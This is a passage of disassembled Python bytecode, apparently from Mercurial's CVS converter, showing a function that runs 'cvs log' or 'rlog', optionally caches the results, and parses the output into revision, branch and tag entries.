LOAD_CONST None RETURN_VALUE LOAD_FAST cvspath LOAD_METHOD split LOAD_CONST b':' CALL_METHOD STORE_FAST parts LOAD_FAST parts LOAD_CONST -1 BINARY_SUBSCR LOAD_METHOD find LOAD_CONST b'@' CALL_METHOD STORE_FAST atposition LOAD_CONST 0 STORE_FAST start LOAD_FAST atposition LOAD_CONST -1 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST atposition STORE_FAST start LOAD_FAST parts LOAD_CONST -1 BINARY_SUBSCR LOAD_FAST parts LOAD_CONST -1 BINARY_SUBSCR LOAD_METHOD find LOAD_CONST b'/' LOAD_FAST start CALL_METHOD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST repopath LOAD_FAST repopath RETURN_VALUE BUILD_MAP STORE_DEREF _scache LOAD_CLOSURE _scache BUILD_TUPLE LOAD_CONST <code object scache at 0x7fab82132660, file "f.py", line 95> LOAD_CONST 'createlog.<locals>.scache' MAKE_FUNCTION STORE_DEREF scache LOAD_FAST ui LOAD_METHOD status LOAD_GLOBAL _ LOAD_CONST b'collecting CVS rlog\n' CALL_FUNCTION CALL_METHOD POP_TOP BUILD_LIST STORE_FAST log LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'RCS file: (.+)$' CALL_METHOD STORE_FAST re_00 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'cvs \\[r?log aborted\\]: (.+)$' CALL_METHOD STORE_FAST re_01 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'cvs (r?log|server): (.+)\n$' CALL_METHOD STORE_FAST re_02 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b"(Cannot access.+CVSROOT)|(can't create temporary directory.+)$" CALL_METHOD STORE_FAST re_03 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'Working file: (.+)$' CALL_METHOD STORE_FAST re_10 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'symbolic names:' CALL_METHOD STORE_FAST re_20 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'\t(.+): ([\\d.]+)$' CALL_METHOD STORE_FAST re_30 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'----------------------------$' CALL_METHOD STORE_FAST re_31 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'=============================================================================$' CALL_METHOD STORE_FAST re_32 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'revision ([\\d.]+)(\\s+locked by:\\s+.+;)?$' CALL_METHOD STORE_FAST re_50 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'date:\\s+(.+);\\s+author:\\s+(.+);\\s+state:\\s+(.+?);(\\s+lines:\\s+(\\+\\d+)?\\s+(-\\d+)?;)?(\\s+commitid:\\s+([^;]+);)?(.*mergepoint:\\s+([^;]+);)?' CALL_METHOD STORE_FAST re_60 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'branches: (.+);$' CALL_METHOD STORE_FAST re_70 LOAD_GLOBAL re LOAD_METHOD compile LOAD_CONST b'file [^/]+ was (initially )?added on branch' CALL_METHOD STORE_FAST file_added_re LOAD_CONST b'' STORE_FAST prefix LOAD_FAST directory LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 244 LOAD_GLOBAL open LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_CONST b'CVS' LOAD_CONST b'Repository' CALL_METHOD LOAD_CONST b'rb' CALL_FUNCTION SETUP_WITH to 218 STORE_FAST f LOAD_FAST f LOAD_METHOD read CALL_METHOD LOAD_METHOD strip CALL_METHOD STORE_FAST prefix POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST prefix STORE_FAST directory LOAD_FAST prefix LOAD_CONST b'.' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST b'' STORE_FAST prefix POP_BLOCK JUMP_FORWARD to 278 DUP_TOP LOAD_GLOBAL IOError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL logerror LOAD_GLOBAL _ LOAD_CONST b'not a CVS sandbox' CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 278 END_FINALLY LOAD_FAST prefix EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST prefix LOAD_METHOD endswith LOAD_GLOBAL pycompat LOAD_ATTR ossep CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST prefix LOAD_GLOBAL pycompat LOAD_ATTR ossep INPLACE_ADD STORE_FAST prefix SETUP_EXCEPT to 342 LOAD_GLOBAL open LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_CONST b'CVS' LOAD_CONST b'Root' CALL_METHOD LOAD_CONST b'rb' CALL_FUNCTION LOAD_METHOD read CALL_METHOD LOAD_METHOD strip CALL_METHOD STORE_FAST root POP_BLOCK JUMP_FORWARD to 364 DUP_TOP LOAD_GLOBAL IOError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 364 END_FINALLY LOAD_FAST root EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL encoding LOAD_ATTR environ LOAD_METHOD get LOAD_CONST b'CVSROOT' LOAD_CONST b'' CALL_METHOD STORE_FAST root BUILD_LIST STORE_FAST oldlog LOAD_CONST None STORE_FAST date LOAD_FAST cache EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD expanduser LOAD_CONST b'~/.hg.cvsps' CALL_METHOD STORE_FAST cachedir LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST cachedir CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_METHOD mkdir LOAD_FAST cachedir CALL_METHOD POP_TOP LOAD_FAST root LOAD_METHOD split LOAD_CONST b':' CALL_METHOD LOAD_FAST directory LOAD_CONST b'cache' BUILD_LIST BINARY_ADD STORE_FAST cachefile LOAD_CONST <code object <listcomp> at 0x7fab82132f60, file "f.py", line 160> LOAD_CONST 'createlog.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST cachefile GET_ITER CALL_FUNCTION STORE_FAST cachefile LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST cachedir LOAD_CONST b'.' LOAD_METHOD join LOAD_CONST <code object <listcomp> at 0x7fab8018a1e0, file "f.py", line 161> LOAD_CONST 'createlog.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST cachefile GET_ITER CALL_FUNCTION CALL_METHOD CALL_METHOD STORE_FAST cachefile LOAD_FAST cache LOAD_CONST b'update' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 640 LOAD_FAST ui LOAD_METHOD note LOAD_GLOBAL _ LOAD_CONST b'reading cvs log cache %s\n' CALL_FUNCTION LOAD_FAST cachefile BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL pickle LOAD_METHOD load LOAD_GLOBAL open LOAD_FAST cachefile LOAD_CONST b'rb' CALL_FUNCTION CALL_METHOD STORE_FAST oldlog SETUP_LOOP to 614 LOAD_FAST oldlog GET_ITER FOR_ITER to 612 STORE_FAST e LOAD_GLOBAL hasattr LOAD_FAST e LOAD_CONST 'branchpoints' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL hasattr LOAD_FAST e LOAD_CONST 'commitid' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL hasattr LOAD_FAST e LOAD_CONST 'mergepoint' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST ui LOAD_METHOD status LOAD_GLOBAL _ LOAD_CONST b'ignoring old cache\n' CALL_FUNCTION CALL_METHOD POP_TOP BUILD_LIST STORE_FAST oldlog BREAK_LOOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ui LOAD_METHOD note LOAD_GLOBAL _ LOAD_CONST b'cache has %d log entries\n' CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST oldlog CALL_FUNCTION BINARY_MODULO CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 694 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 680 LOAD_FAST ui LOAD_METHOD note LOAD_GLOBAL _ LOAD_CONST b'error reading cache: %r\n' CALL_FUNCTION LOAD_FAST e BINARY_MODULO CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 694 END_FINALLY LOAD_FAST oldlog EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST oldlog LOAD_CONST -1 BINARY_SUBSCR LOAD_ATTR date STORE_FAST date LOAD_GLOBAL dateutil LOAD_METHOD datestr LOAD_FAST date LOAD_CONST b'%Y/%m/%d %H:%M:%S %1%2' CALL_METHOD STORE_FAST date LOAD_CONST b'cvs' LOAD_CONST b'-q' BUILD_LIST STORE_FAST cmd LOAD_FAST root EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cmd LOAD_METHOD append LOAD_CONST b'-d%s' LOAD_FAST root BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL util LOAD_METHOD normpath LOAD_GLOBAL getrepopath LOAD_FAST root CALL_FUNCTION CALL_METHOD STORE_FAST p LOAD_FAST p LOAD_METHOD endswith LOAD_CONST b'/' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST p LOAD_CONST b'/' INPLACE_ADD STORE_FAST p LOAD_FAST prefix EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST p LOAD_GLOBAL util LOAD_METHOD normpath LOAD_FAST prefix CALL_METHOD BINARY_ADD STORE_FAST prefix JUMP_FORWARD to 810 LOAD_FAST p STORE_FAST prefix LOAD_FAST cmd LOAD_METHOD append LOAD_CONST b'log' LOAD_CONST b'rlog' BUILD_LIST LOAD_FAST rlog BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST date EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cmd LOAD_METHOD append LOAD_CONST b'-d>%s' LOAD_FAST date BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST cmd LOAD_METHOD append LOAD_FAST directory CALL_METHOD POP_TOP BUILD_MAP STORE_FAST tags BUILD_MAP STORE_DEREF branchmap BUILD_MAP STORE_FAST rcsmap LOAD_CONST 0 STORE_FAST state LOAD_CONST False STORE_FAST store LOAD_CONST <code object <listcomp> at 0x7fab8018a390, file "f.py", line 206> LOAD_CONST 'createlog.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST cmd GET_ITER CALL_FUNCTION STORE_FAST cmd LOAD_FAST ui LOAD_METHOD note LOAD_GLOBAL _ LOAD_CONST b'running %s\n' CALL_FUNCTION LOAD_CONST b' ' LOAD_METHOD join LOAD_FAST cmd CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD debug LOAD_CONST b'prefix=%r directory=%r root=%r\n' LOAD_FAST prefix LOAD_FAST directory LOAD_FAST root BUILD_TUPLE BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL procutil LOAD_METHOD popen LOAD_CONST b' ' LOAD_METHOD join LOAD_FAST cmd CALL_METHOD LOAD_CONST b'rb' CALL_METHOD STORE_FAST pfp LOAD_GLOBAL util LOAD_METHOD fromnativeeol LOAD_FAST pfp LOAD_METHOD readline CALL_METHOD CALL_METHOD STORE_FAST peek EXTENDED_ARG SETUP_LOOP to 2954 LOAD_FAST peek STORE_FAST line LOAD_FAST line LOAD_CONST b'' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE BREAK_LOOP LOAD_GLOBAL util LOAD_METHOD fromnativeeol LOAD_FAST pfp LOAD_METHOD readline CALL_METHOD CALL_METHOD STORE_FAST peek LOAD_FAST line LOAD_METHOD endswith LOAD_CONST b'\n' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST line LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST line LOAD_FAST state LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_00 LOAD_METHOD match LOAD_FAST line CALL_METHOD STORE_FAST match LOAD_FAST match EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST match LOAD_METHOD group LOAD_CONST 1 CALL_METHOD STORE_FAST rcs BUILD_MAP STORE_FAST tags LOAD_FAST rlog EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL util LOAD_METHOD normpath LOAD_FAST rcs LOAD_CONST None LOAD_CONST -2 BUILD_SLICE BINARY_SUBSCR CALL_METHOD STORE_FAST filename LOAD_FAST filename LOAD_METHOD startswith LOAD_FAST prefix CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST filename LOAD_GLOBAL len LOAD_FAST prefix CALL_FUNCTION LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST filename LOAD_FAST filename LOAD_METHOD startswith LOAD_CONST b'/' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST filename LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST filename LOAD_FAST filename LOAD_METHOD startswith LOAD_CONST b'Attic/' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST filename LOAD_CONST 6 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST filename JUMP_FORWARD to 1180 LOAD_FAST filename LOAD_METHOD replace LOAD_CONST b'/Attic/' LOAD_CONST b'/' CALL_METHOD STORE_FAST filename LOAD_CONST 2 STORE_FAST state EXTENDED_ARG JUMP_ABSOLUTE LOAD_CONST 1 STORE_FAST state EXTENDED_ARG JUMP_ABSOLUTE LOAD_FAST re_01 LOAD_METHOD match LOAD_FAST line CALL_METHOD STORE_FAST match LOAD_FAST match EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logerror LOAD_FAST match LOAD_METHOD group LOAD_CONST 1 CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST re_02 LOAD_METHOD match LOAD_FAST line CALL_METHOD STORE_FAST match LOAD_FAST match EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logerror LOAD_FAST match LOAD_METHOD group LOAD_CONST 2 CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST re_03 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logerror LOAD_FAST line CALL_FUNCTION RAISE_VARARGS EXTENDED_ARG JUMP_FORWARD to 2460 LOAD_FAST state LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_10 LOAD_METHOD match LOAD_FAST line CALL_METHOD STORE_FAST match LOAD_FAST match EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_GLOBAL _ LOAD_CONST b'RCS file must be followed by working file' CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL util LOAD_METHOD normpath LOAD_FAST match LOAD_METHOD group LOAD_CONST 1 CALL_METHOD CALL_METHOD STORE_FAST filename LOAD_CONST 2 STORE_FAST state EXTENDED_ARG JUMP_FORWARD to 2460 LOAD_FAST state LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_20 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE BUILD_MAP STORE_DEREF branchmap LOAD_CONST 3 STORE_FAST state EXTENDED_ARG JUMP_FORWARD to 2460 LOAD_FAST state LOAD_CONST 3 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_30 LOAD_METHOD match LOAD_FAST line CALL_METHOD STORE_FAST match LOAD_FAST match EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fab8018a300, file "f.py", line 262> LOAD_CONST 'createlog.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST match LOAD_METHOD group LOAD_CONST 2 CALL_METHOD LOAD_METHOD split LOAD_CONST b'.' CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST rev LOAD_GLOBAL len LOAD_FAST rev CALL_FUNCTION STORE_FAST revn LOAD_FAST revn LOAD_CONST 3 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST revn LOAD_CONST 2 BINARY_MODULO LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rev LOAD_CONST -2 BINARY_SUBSCR LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rev LOAD_CONST None LOAD_CONST -2 BUILD_SLICE BINARY_SUBSCR LOAD_FAST rev LOAD_CONST -1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BINARY_ADD STORE_FAST rev LOAD_GLOBAL tuple LOAD_FAST rev CALL_FUNCTION STORE_FAST rev LOAD_FAST rev LOAD_FAST tags COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE BUILD_LIST LOAD_FAST tags LOAD_FAST rev STORE_SUBSCR LOAD_FAST tags LOAD_FAST rev BINARY_SUBSCR LOAD_METHOD append LOAD_FAST match LOAD_METHOD group LOAD_CONST 1 CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST match LOAD_METHOD group LOAD_CONST 2 CALL_METHOD LOAD_DEREF branchmap LOAD_FAST match LOAD_METHOD group LOAD_CONST 1 CALL_METHOD STORE_SUBSCR JUMP_FORWARD to 1600 LOAD_FAST re_31 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 5 STORE_FAST state JUMP_FORWARD to 1600 LOAD_FAST re_32 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 STORE_FAST state EXTENDED_ARG JUMP_FORWARD to 2460 LOAD_FAST state LOAD_CONST 4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_31 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 5 STORE_FAST state JUMP_FORWARD to 1656 LOAD_FAST re_32 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError LOAD_GLOBAL _ LOAD_CONST b'must have at least some revisions' CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS EXTENDED_ARG JUMP_FORWARD to 2460 LOAD_FAST state LOAD_CONST 5 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_50 LOAD_METHOD match LOAD_FAST line CALL_METHOD STORE_FAST match LOAD_FAST match EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_GLOBAL _ LOAD_CONST b'expected revision number' CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL logentry LOAD_DEREF scache LOAD_FAST rcs CALL_FUNCTION LOAD_DEREF scache LOAD_FAST filename CALL_FUNCTION LOAD_GLOBAL tuple LOAD_CONST <code object <listcomp> at 0x7fab8018a420, file "f.py", line 291> LOAD_CONST 'createlog.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST match LOAD_METHOD group LOAD_CONST 1 CALL_METHOD LOAD_METHOD split LOAD_CONST b'.' CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION BUILD_LIST LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_GLOBAL set CALL_FUNCTION LOAD_CONST ('rcs', 'file', 'revision', 'branches', 'parent', 'commitid', 'mergepoint', 'branchpoints') CALL_FUNCTION STORE_FAST e LOAD_CONST 6 STORE_FAST state EXTENDED_ARG JUMP_FORWARD to 2460 LOAD_FAST state LOAD_CONST 6 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_60 LOAD_METHOD match LOAD_FAST line CALL_METHOD STORE_FAST match LOAD_FAST match EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_GLOBAL _ LOAD_CONST b'revision must be followed by date line' CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS LOAD_FAST match LOAD_METHOD group LOAD_CONST 1 CALL_METHOD STORE_FAST d LOAD_FAST d LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST b'/' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST b'19' LOAD_FAST d BINARY_ADD STORE_FAST d LOAD_GLOBAL len LOAD_FAST d LOAD_METHOD split CALL_METHOD CALL_FUNCTION LOAD_CONST 3 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST d LOAD_CONST b' UTC' BINARY_ADD STORE_FAST d LOAD_GLOBAL dateutil LOAD_METHOD parsedate LOAD_FAST d LOAD_CONST b'%y/%m/%d %H:%M:%S' LOAD_CONST b'%Y/%m/%d %H:%M:%S' LOAD_CONST b'%Y-%m-%d %H:%M:%S' BUILD_LIST CALL_METHOD LOAD_FAST e STORE_ATTR date LOAD_DEREF scache LOAD_FAST match LOAD_METHOD group LOAD_CONST 2 CALL_METHOD CALL_FUNCTION LOAD_FAST e STORE_ATTR author LOAD_FAST match LOAD_METHOD group LOAD_CONST 3 CALL_METHOD LOAD_METHOD lower CALL_METHOD LOAD_CONST b'dead' COMPARE_OP == LOAD_FAST e STORE_ATTR dead LOAD_FAST match LOAD_METHOD group LOAD_CONST 5 CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST match LOAD_METHOD group LOAD_CONST 6 CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL int LOAD_FAST match LOAD_METHOD group LOAD_CONST 5 CALL_METHOD CALL_FUNCTION LOAD_GLOBAL int LOAD_FAST match LOAD_METHOD group LOAD_CONST 6 CALL_METHOD CALL_FUNCTION BUILD_TUPLE LOAD_FAST e STORE_ATTR lines JUMP_FORWARD to 1994 LOAD_GLOBAL int LOAD_FAST match LOAD_METHOD group LOAD_CONST 5 CALL_METHOD CALL_FUNCTION LOAD_CONST 0 BUILD_TUPLE LOAD_FAST e STORE_ATTR lines JUMP_FORWARD to 2036 LOAD_FAST match LOAD_METHOD group LOAD_CONST 6 CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_GLOBAL int LOAD_FAST match LOAD_METHOD group LOAD_CONST 6 CALL_METHOD CALL_FUNCTION BUILD_TUPLE LOAD_FAST e STORE_ATTR lines JUMP_FORWARD to 2036 LOAD_CONST None LOAD_FAST e STORE_ATTR lines LOAD_FAST match LOAD_METHOD group LOAD_CONST 7 CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST match LOAD_METHOD group LOAD_CONST 8 CALL_METHOD LOAD_FAST e STORE_ATTR commitid LOAD_FAST match LOAD_METHOD group LOAD_CONST 9 CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST match LOAD_METHOD group LOAD_CONST 10 CALL_METHOD LOAD_METHOD split LOAD_CONST b'.' CALL_METHOD STORE_DEREF myrev LOAD_GLOBAL len LOAD_DEREF myrev CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST b'HEAD' LOAD_FAST e STORE_ATTR mergepoint JUMP_FORWARD to 2198 LOAD_CONST b'.' LOAD_METHOD join LOAD_DEREF myrev LOAD_CONST None LOAD_CONST -2 BUILD_SLICE BINARY_SUBSCR LOAD_CONST b'0' LOAD_DEREF myrev LOAD_CONST -2 BINARY_SUBSCR BUILD_LIST BINARY_ADD CALL_METHOD STORE_DEREF myrev LOAD_CLOSURE branchmap LOAD_CLOSURE myrev BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab8018a0c0, file "f.py", line 340> LOAD_CONST 'createlog.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF branchmap GET_ITER CALL_FUNCTION STORE_FAST branches LOAD_GLOBAL len LOAD_FAST branches CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST b'unknown branch: %s' LOAD_FAST e LOAD_ATTR mergepoint BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_FAST branches LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST e STORE_ATTR mergepoint BUILD_LIST LOAD_FAST e STORE_ATTR comment LOAD_CONST 7 STORE_FAST state JUMP_FORWARD to 2460 LOAD_FAST state LOAD_CONST 7 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_70 LOAD_METHOD match LOAD_FAST line CALL_METHOD STORE_FAST m LOAD_FAST m EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fab8018a930, file "f.py", line 351> LOAD_CONST 'createlog.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST m LOAD_METHOD group LOAD_CONST 1 CALL_METHOD LOAD_METHOD split LOAD_CONST b';' CALL_METHOD GET_ITER CALL_FUNCTION LOAD_FAST e STORE_ATTR branches LOAD_CONST 8 STORE_FAST state JUMP_FORWARD to 2338 LOAD_FAST re_31 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_50 LOAD_METHOD match LOAD_FAST peek CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 5 STORE_FAST state LOAD_CONST True STORE_FAST store JUMP_FORWARD to 2338 LOAD_FAST re_32 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 STORE_FAST state LOAD_CONST True STORE_FAST store JUMP_FORWARD to 2338 LOAD_FAST e LOAD_ATTR comment LOAD_METHOD append LOAD_FAST line CALL_METHOD POP_TOP JUMP_FORWARD to 2460 LOAD_FAST state LOAD_CONST 8 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST re_31 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST peek STORE_FAST cpeek LOAD_FAST cpeek LOAD_METHOD endswith LOAD_CONST b'\n' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cpeek LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST cpeek LOAD_FAST re_50 LOAD_METHOD match LOAD_FAST cpeek CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 5 STORE_FAST state LOAD_CONST True STORE_FAST store JUMP_FORWARD to 2424 LOAD_FAST e LOAD_ATTR comment LOAD_METHOD append LOAD_FAST line CALL_METHOD POP_TOP JUMP_FORWARD to 2460 LOAD_FAST re_32 LOAD_METHOD match LOAD_FAST line CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 STORE_FAST state LOAD_CONST True STORE_FAST store JUMP_FORWARD to 2460 LOAD_FAST e LOAD_ATTR comment LOAD_METHOD append LOAD_FAST line CALL_METHOD POP_TOP LOAD_FAST store EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR dead EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST e LOAD_ATTR revision LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST e LOAD_ATTR comment CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST file_added_re LOAD_METHOD match LOAD_FAST e LOAD_ATTR comment LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ui LOAD_METHOD debug LOAD_CONST b'found synthetic revision in %s: %r\n' LOAD_FAST e LOAD_ATTR rcs LOAD_FAST e LOAD_ATTR comment LOAD_CONST 0 BINARY_SUBSCR BUILD_TUPLE BINARY_MODULO CALL_METHOD POP_TOP LOAD_CONST True LOAD_FAST e STORE_ATTR synthetic LOAD_FAST store EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST False STORE_FAST store LOAD_GLOBAL sorted LOAD_CLOSURE scache BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab8018a810, file "f.py", line 392> LOAD_CONST 'createlog.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST tags LOAD_METHOD get LOAD_FAST e LOAD_ATTR revision BUILD_LIST CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION LOAD_FAST e STORE_ATTR tags LOAD_DEREF scache LOAD_CONST b'\n' LOAD_METHOD join LOAD_FAST e LOAD_ATTR comment CALL_METHOD CALL_FUNCTION LOAD_FAST e 